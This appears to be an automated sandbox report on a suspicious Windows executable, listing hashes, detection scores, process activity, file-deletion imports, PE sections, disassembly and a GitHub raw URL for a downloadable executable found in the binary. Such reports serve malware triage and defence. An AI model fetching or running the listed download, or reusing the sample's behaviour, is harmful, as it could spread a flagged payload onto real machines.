Edit tour

Windows Analysis Report
SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe
Analysis ID:	1532612
MD5:	9bb41dd377bd7e4f5ce55360442df5fa
SHA1:	ba3933e2f821eb60f90c0234a144eae3c202f9ab
SHA256:	bc71709ab6556ee1c4b72df4bd46e592d5ad94511f17bb24f7944e3d28a13217
Tags:	exe
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

PE file contains more sections than normal

PE file contains sections with non-standard names

Program does not show much activity (idle)

Sample execution stops while process was sleeping (likely an evasion)

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe (PID: 7532 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe" MD5: 9BB41DD377BD7E4F5CE55360442DF5FA)

conhost.exe (PID: 7540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe

Avira: detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Code function: 0_2_00402402 FindFirstFileW,GetLastError,_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_,_ZStlsIwSt11char_traitsIwESaIwEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE,_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_,_ZNSt13basic_ostreamIwSt11char_traitsIwEElsEm,_ZNSt13basic_ostreamIwSt11char_traitsIwEElsEPFRS2_S3_E,_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_,_ZNSt13basic_ostreamIwSt11char_traitsIwEElsEPFRS2_S3_E,_ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEED1Ev,_ZNKSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE5c_strEv,DeleteFileW,_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_,_ZStlsIwSt11char_traitsIwESaIwEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE,_ZNSt13basic_ostreamIwSt11char_traitsIwEElsEPFRS2_S3_E,GetLastError,_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_,_ZStlsIwSt11char_traitsIwESaIwEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE,_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_,_ZNSt13basic_ostreamIwSt11char_traitsIwEElsEPFRS2_S3_E,_ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEED1Ev,FindNextFileW,FindClose,		0_2_00402402
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Code function: 0_2_00401C0A _ZNSaIcEC1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_,_ZNSaIcED1Ev,_ZNSaIcEC1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_,_ZNSaIcED1Ev,_ZNSaIcEC1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_,_ZNSaIcED1Ev,_ZNSaIcEC1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_,_ZNSaIcED1Ev,_ZNSaIcEC1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_,_ZNSaIcED1Ev,_ZNSaIcEC1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_,_ZNSaIcED1Ev,_ZNSaIcEC1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_,_ZNSaIcED1Ev,_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv,FindFirstFileA,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev,_ZNSaIcEC1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_,_ZNSaIcED1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev,_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc,_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE,_ZNSolsEPFRSoS_E,_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv,DeleteFileA,_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc,GetLastError,_ZNSolsEm,_ZNSolsEPFRSoS_E,_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc,_ZNSolsEPFRSoS_E,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev,FindNextFileA,FindClose,_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc,_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE,_ZNSolsEPFRSoS_E,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev,		0_2_00401C0A

Source: SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	String found in binary or memory: https://raw.githubusercontent.com/devxdfps/pqsup/main/FinalizarUmProcesso.exe
Source: SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	String found in binary or memory: https://raw.githubusercontent.com/devxdfps/pqsup/main/FinalizarUmProcesso.exeDownload

Source: SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe

Static PE information: Number of sections : 15 > 10

Source: classification engine

Classification label: mal48.winEXE@2/0@0/0

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7540:120:WilError_03

Source: SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe "C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Section loaded: libgcc_s_seh-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Section loaded: libwinpthread-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Section loaded: libstdc++-6.dll	Jump to behavior

Source: SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Static PE information: section name: .xdata
Source: SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Static PE information: section name: /4
Source: SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Static PE information: section name: /19
Source: SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Static PE information: section name: /31
Source: SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Static PE information: section name: /45
Source: SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Static PE information: section name: /57
Source: SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Static PE information: section name: /70

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Code function: 0_2_00402402 FindFirstFileW,GetLastError,_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_,_ZStlsIwSt11char_traitsIwESaIwEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE,_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_,_ZNSt13basic_ostreamIwSt11char_traitsIwEElsEm,_ZNSt13basic_ostreamIwSt11char_traitsIwEElsEPFRS2_S3_E,_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_,_ZNSt13basic_ostreamIwSt11char_traitsIwEElsEPFRS2_S3_E,_ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEED1Ev,_ZNKSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE5c_strEv,DeleteFileW,_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_,_ZStlsIwSt11char_traitsIwESaIwEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE,_ZNSt13basic_ostreamIwSt11char_traitsIwEElsEPFRS2_S3_E,GetLastError,_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_,_ZStlsIwSt11char_traitsIwESaIwEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE,_ZStlsIwSt11char_traitsIwEERSt13basic_ostreamIT_T0_ES6_PKS3_,_ZNSt13basic_ostreamIwSt11char_traitsIwEElsEPFRS2_S3_E,_ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEED1Ev,FindNextFileW,FindClose,		0_2_00402402
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Code function: 0_2_00401C0A _ZNSaIcEC1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_,_ZNSaIcED1Ev,_ZNSaIcEC1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_,_ZNSaIcED1Ev,_ZNSaIcEC1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_,_ZNSaIcED1Ev,_ZNSaIcEC1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_,_ZNSaIcED1Ev,_ZNSaIcEC1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_,_ZNSaIcED1Ev,_ZNSaIcEC1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_,_ZNSaIcED1Ev,_ZNSaIcEC1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_,_ZNSaIcED1Ev,_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv,FindFirstFileA,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev,_ZNSaIcEC1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_,_ZNSaIcED1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev,_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc,_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE,_ZNSolsEPFRSoS_E,_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv,DeleteFileA,_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc,GetLastError,_ZNSolsEm,_ZNSolsEPFRSoS_E,_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc,_ZNSolsEPFRSoS_E,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev,FindNextFileA,FindClose,_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc,_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE,_ZNSolsEPFRSoS_E,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev,_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev,		0_2_00401C0A

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Code function: 0_2_00404259 SetUnhandledExceptionFilter,	0_2_00404259
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Code function: 0_2_0040A50C SetUnhandledExceptionFilter,Sleep,TerminateProcess,TlsGetValue,UnhandledExceptionFilter,VirtualProtect,VirtualQuery,__C_specific_handler,__getmainargs,__initenv,	0_2_0040A50C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Code function: 0_2_0040A50C SetUnhandledExceptionFilter,Sleep,TerminateProcess,TlsGetValue,UnhandledExceptionFilter,VirtualProtect,VirtualQuery,__C_specific_handler,__getmainargs,__initenv,	0_2_0040A50C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Code function: 0_2_0040A50C SetUnhandledExceptionFilter,Sleep,TerminateProcess,TlsGetValue,UnhandledExceptionFilter,VirtualProtect,VirtualQuery,__C_specific_handler,__getmainargs,__initenv,	0_2_0040A50C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Code function: 0_2_00402DE0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,	0_2_00402DE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	Code function: 0_2_00401180 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,_initterm,GetStartupInfoA,	0_2_00401180

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe

Code function: 0_2_00402D00 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00402D00

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Process Injection	OS Credential Dumping	1 System Time Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 DLL Side-Loading	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	2 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	3%	ReversingLabs
SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	2%	Virustotal		Browse
SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	100%	Avira	HEUR/AGEN.1319884

Source	Detection	Scanner	Label	Link
https://raw.githubusercontent.com/devxdfps/pqsup/main/FinalizarUmProcesso.exeDownload	1%	Virustotal		Browse
https://raw.githubusercontent.com/devxdfps/pqsup/main/FinalizarUmProcesso.exe	0%	Virustotal		Browse

Name	Source	Malicious	Antivirus Detection	Reputation
https://raw.githubusercontent.com/devxdfps/pqsup/main/FinalizarUmProcesso.exe	SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	false	0%, Virustotal, Browse	unknown
https://raw.githubusercontent.com/devxdfps/pqsup/main/FinalizarUmProcesso.exeDownload	SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe	false	1%, Virustotal, Browse	unknown

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532612
Start date and time:	2024-10-13 18:36:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe
Detection:	MAL
Classification:	mal48.winEXE@2/0@0/0
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 41
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe, PID 7532 because there are no executed function
Not all processes where analyzed, report is missing behavior information

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	5.1775593869194605
TrID:	Win64 Executable Console (202006/5) 92.64% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% VXD Driver (31/22) 0.01%
File name:	SecuriteInfo.com.Heuristic.HEUR.AGEN.1319884.13784.6616.exe
File size:	94'378 bytes
MD5:	9bb41dd377bd7e4f5ce55360442df5fa
SHA1:	ba3933e2f821eb60f90c0234a144eae3c202f9ab
SHA256:	bc71709ab6556ee1c4b72df4bd46e592d5ad94511f17bb24f7944e3d28a13217
SHA512:	051576c9370fe6cbbd0314e266427a4cd39e2ea609157b923071d12072171df9f4c6b9553da46751606fe1dcfe9ea9bc6dec41a9efd4cbf9f88f1dc98f7512a5
SSDEEP:	1536:BTwPKXqE4wpm4nmhEqTIm4gKN2Pw5sR3aATksIOQyeM:2LE4VLzTKNF5sJk/OQyeM
TLSH:	9D93E8E136DA4CE6EA80873C40D3E235653CFDE0CA674B17A628B6311B12B913ED7759
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...YO.f....X.....'......:...n................@..............................P.......+........ ............................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4014e0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LARGE_ADDRESS_AWARE
DLL Characteristics:
Time Stamp:	0x66DB4F59 [Fri Sep 6 18:52:09 2024 UTC]
TLS Callbacks:	0x402f10
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	2e7eb90296eecc4070a6e01756f917bb

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [000055F5h]
mov dword ptr [eax], 00000000h
call 00007F88D532519Fh
call 00007F88D532361Ah
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax+00h]
nop word ptr [eax+eax+00000000h]
dec eax
sub esp, 28h
call 00007F88D53265D4h
dec eax
test eax, eax
sete al
movzx eax, al
neg eax
dec eax
add esp, 28h
ret
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000009h]
jmp 00007F88D5323969h
nop dword ptr [eax+00h]
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
push ebx
dec eax
sub esp, 000000C8h
dec eax
lea ebp, dword ptr [esp+00000080h]
dec eax
lea ecx, dword ptr [00004AA2h]
call 00007F88D5326548h
dec eax
mov dword ptr [ebp+38h], eax
dec eax
cmp dword ptr [ebp+38h], 00000000h
je 00007F88D5323B5Bh
dec eax
lea eax, dword ptr [ebp-11h]
dec eax
mov ecx, eax
call 00007F88D5324FFDh
dec eax
lea ecx, dword ptr [ebp-11h]
dec eax
mov edx, dword ptr [ebp+38h]
dec eax
lea eax, dword ptr [ebp-40h]
dec ecx
mov eax, ecx
dec eax
mov ecx, eax
call 00007F88D5324F86h
dec eax
lea eax, dword ptr [ebp-60h]
dec eax
lea edx, dword ptr [ebp-40h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa000	0x1484	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x7000	0x408	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x6640	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa3fc	0x370	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x39d0	0x3a00	bdb094b267df445835421068083f85ca	False	0.5119207974137931	data	5.837674320735723	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x5000	0xd0	0x200	451b2706ca9afdf6400177aa4903059f	False	0.1328125	data	0.8091241115352077	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x6000	0xbac	0xc00	0e329a0e669eb638de73a255f0a319a6	False	0.435546875	data	4.301819997212616	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.pdata	0x7000	0x408	0x600	30457931d1e871f300354be0212bd840	False	0.3697916666666667	data	3.0506747130120404	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.xdata	0x8000	0x518	0x600	ece7d407eb7792367c031485e2954e6b	False	0.3763020833333333	data	4.22171820334505	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
